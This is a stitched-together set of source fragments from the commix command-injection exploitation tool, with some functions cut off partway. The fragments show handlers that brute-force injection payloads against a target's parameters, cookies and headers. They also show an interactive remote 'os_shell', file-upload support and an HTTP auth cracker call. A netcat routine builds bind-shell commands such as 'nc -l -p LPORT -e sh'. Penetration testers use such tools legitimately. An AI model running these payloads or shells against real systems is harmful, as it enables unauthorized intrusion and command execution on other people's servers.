http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. time.sleep(timesec) response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, timesec) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell) except: print "" continue if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser( ) shell = html_parser.unescape( shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def eb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "eval-based code injection technique" for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[ item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS url = eb_injector.warning_detection(url, http_request_method) if not settings.LOAD_SESSION: info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len( settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision( separator, TAG, randv1, randv2) suffix = urllib.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + urllib.quote(")}") in payload: payload = payload.replace( ")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}")) #payload = payload + TAG + "" # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) else: payload = re.sub(" ", "%20", payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: sys.stdout.write( "\n" + settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = eb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = eb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = eb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = eb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, delay) # Evaluate test results. shell = eb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", payload) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) if not menu.file_access_options( ) and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() if file_access_again in settings.CHOICE_YES: eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" eb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again) if go_back: break else: # The main command injection exploitation. response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, delay) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell).replace( " ", "", 1) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) #if shell: if shell != "": shell = "".join( str(p) for p in shell) # if settings.VERBOSITY_LEVEL >= 1: # print "" print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def main(filename, url): try: # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True # Check provided parameters for tests if menu.options.test_parameter: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] settings.TEST_PARAMETER = menu.options.test_parameter.split( settings.PARAMETER_SPLITTING_REGEX) for i in range(0, len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[ i].split("=")[0] # Check if defined character used for splitting parameter values. if menu.options.pdel: settings.PARAMETER_DELIMITER = menu.options.pdel # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split( settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0, len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0, len(split_first_letter)): if split_first_letter[ j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[ i] err_msg += "' as injection technique. " err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, " err_msg += "(T)ime-based, (F)ile-based (with or without commas)." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower( ) not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print settings.print_critical_msg(err_msg) sys.exit(0) # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." print settings.print_critical_msg(err_msg) sys.exit(0) if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if defined "--random-agent" option. if menu.options.random_agent: menu.options.agent = random.choice(settings.USER_AGENT_LIST) # Check if defined "--url" or "-m" option. if url: # Check if http / https url = checks.check_http_s(url) # Load the crawler if menu.options.crawldepth > 0 or menu.options.sitemap_url: if menu.options.crawldepth > 0: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth else: if menu.options.sitemap_url: while True: if not menu.options.batch: question_msg = "Do you want to change the crawling depth level? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) change_depth_level = sys.stdin.readline( ).replace("\n", "").lower() else: change_depth_level = "" if len(change_depth_level) == 0: change_depth_level = "y" if change_depth_level in settings.CHOICE_YES or change_depth_level in settings.CHOICE_NO: break elif change_depth_level in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + change_depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Change the crawling depth level. if change_depth_level in settings.CHOICE_YES: while True: question_msg = "Please enter the crawling depth level (1-2) > " sys.stdout.write( settings.print_question_msg(question_msg)) depth_level = sys.stdin.readline().replace( "\n", "").lower() if int(depth_level) >= 3: err_msg = "Depth level '" + depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = depth_level break # Crawl the url. url = crawler.crawler(url) try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) headers.do_check(request) #headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(url) # Check if defined Tor (--tor option). elif menu.options.tor: tor.do_check() if menu.options.flush_session: session_handler.flush(url) info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: print "" headers.check_http_traffic(request) try: # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: response = tor.use_tor(request) else: try: response = urllib2.urlopen(request) except ValueError: # Invalid format for the '--headers' option. if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' " err_msg += "to provide an HTTP header or" err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." print settings.print_critical_msg(err_msg) sys.exit(0) except urllib2.HTTPError, err_msg: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = str(err_msg).replace(": ", " (") + ")." print settings.print_critical_msg(err_msg) raise SystemExit html_data = content = response.read() if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")" settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check if defined "--file-upload" option. if menu.options.file_upload: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): # Check if not defined URL for upload. while True: if not menu.options.batch: question_msg = "Do you want to enable an HTTP server? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) enable_HTTP_server = sys.stdin.readline( ).replace("\n", "").lower() else: enable_HTTP_server == "" if len(enable_HTTP_server) == 0: enable_HTTP_server = "y" if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile( menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exists." sys.stdout.write( settings.print_critical_msg(err_msg) + "\n") sys.exit(0) if settings.LOCAL_HTTP_IP == None: while True: question_msg = "Please enter your interface IP address > " sys.stdout.write( settings.print_question_msg( question_msg)) ip_addr = sys.stdin.readline().replace( "\n", "").lower() # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4( ip_addr) if ip_check == False: err_msg = "The provided IP address seems not valid." print settings.print_error_msg( err_msg) pass else: settings.LOCAL_HTTP_IP = ip_addr break http_server = "http://" + str( settings.LOCAL_HTTP_IP) + ":" + str( settings.LOCAL_HTTP_PORT) + "/" info_msg = "Setting the HTTP server on '" + http_server + "'. " print settings.print_info_msg(info_msg) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print settings.print_critical_msg(err_msg) sys.exit(0) break elif enable_HTTP_server in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enable_HTTP_server + "' is not a valid answer." print settings.print_error_msg(err_msg) pass try: urllib2.urlopen(menu.options.file_upload) except urllib2.HTTPError, err_msg: print settings.print_critical_msg(str(err_msg.code)) sys.exit(0) except urllib2.URLError, err_msg: print settings.print_critical_msg( str(err_msg.args[0]).split("] ")[1] + ".") sys.exit(0)
def netcat_version(separator): # Defined shell shell = "sh" # Netcat alternatives NETCAT_ALTERNATIVES = ["nc", "busybox nc", "nc.traditional", "nc.openbsd"] while True: nc_version = _input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like targets""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. \ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] break # Netcat for Busybox if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break # Netcat-Openbsd (nc without -e) elif nc_version == '4': nc_alternative = NETCAT_ALTERNATIVES[3] break # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): if shell_options(nc_version): return shell_options(nc_version) # Invalid command else: err_msg = "The '" + nc_version + "' option, is not valid." print(settings.print_error_msg(err_msg)) continue while True: if not menu.options.batch: question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " # sys.stdout.write(settings.print_question_msg(question_msg)) # enable_bin_dir = sys.stdin.readline().replace("\n","").lower() enable_bin_dir = _input(settings.print_question_msg(question_msg)) else: enable_bin_dir = "" if len(enable_bin_dir) == 0: enable_bin_dir = "n" if enable_bin_dir in settings.CHOICE_NO: break elif enable_bin_dir in settings.CHOICE_YES: nc_alternative = "/bin/" + nc_alternative shell = "/bin/" + shell break elif enable_bin_dir in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enable_bin_dir + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if nc_version != '4': # Netcat with -e cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell else: # nc without -e cmd = shell + " -c \"" + shell + " 0</tmp/f | " + \ nc_alternative + " -l -p " + settings.LPORT + \ " 1>/tmp/f\"" return cmd
if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker( url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: raise SystemExit() elif do_update in settings.CHOICE_NO: checks.http_auth_err_msg() elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + do_update + "' is not a valid answer." print settings.print_error_msg( err_msg) pass # Digest authentication elif menu.options.auth_type == "digest": if not menu.options.ignore_401: warn_msg = "(" + menu.options.auth_type.capitalize( ) + ") " warn_msg += "HTTP authentication credentials are required." print settings.print_warning_msg(warn_msg) # Check if heuristics have failed to identify the realm attribute. if not realm: warn_msg = "Heuristics have failed to identify the realm attribute." print settings.print_warning_msg( warn_msg) while True:
def create_github_issue(err_msg, exc_msg): _ = re.sub(r"'[^']+'", "''", exc_msg) _ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) _ = re.sub(r".+\Z", "", _) _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"= _", "= ", _) _ = _.encode(settings.UNICODE_ENCODING) bug_report = "Bug Report: Unhandled exception \"" + str( [i for i in exc_msg.split('\n') if i][-1]) + "\"" while True: try: if not menu.options.batch: question_msg = "Do you want to automatically create a new (anonymized) issue " question_msg += "with the unhandled exception information at " question_msg += "the official Github repository? [y/N] " choise = _input(settings.print_question_msg(question_msg)) else: choise = "" if len(choise) == 0: choise = "n" if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: print(settings.SPACE) return else: err_msg = "'" + choise + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except: print("\n") raise SystemExit() err_msg = err_msg[err_msg.find("\n"):] request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \ _urllib.parse.quote("repo:commixproject/commix" + " " + str(bug_report)) ) try: content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" if duplicate: warn_msg = "That issue seems to be already reported" if closed: warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" warn_msg += ".\n" print(settings.print_warning_msg(warn_msg)) return except: pass data = { "title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```" } request = _urllib.request.Request( url="https://api.github.com/repos/commixproject/commix/issues", data=json.dumps(data).encode(), headers={ "Authorization": "token " + base64.b64decode( settings.GITHUB_REPORT_OAUTH_TOKEN.encode( settings.UNICODE_ENCODING)).decode() }) try: content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() except Exception as err: content = None issue_url = re.search( r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.UNICODE_ENCODING) or "") if issue_url: info_msg = "The created Github issue can been found at the address '" + str( issue_url.group(0)) + "'.\n" print(settings.print_info_msg(info_msg)) else: warn_msg = "Something went wrong while creating a Github issue." if settings.UNAUTHORIZED_ERROR in str(err): warn_msg += " Please update to the latest revision.\n" print(settings.print_warning_msg(warn_msg))
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False is_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 how_long_statistic = [] injection_type = "blind command injection" technique = "time-based injection technique" if settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " print settings.print_info_msg(info_msg) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print settings.print_warning_msg(warn_msg) whitespace = checks.check_whitespaces() # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, delay, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( 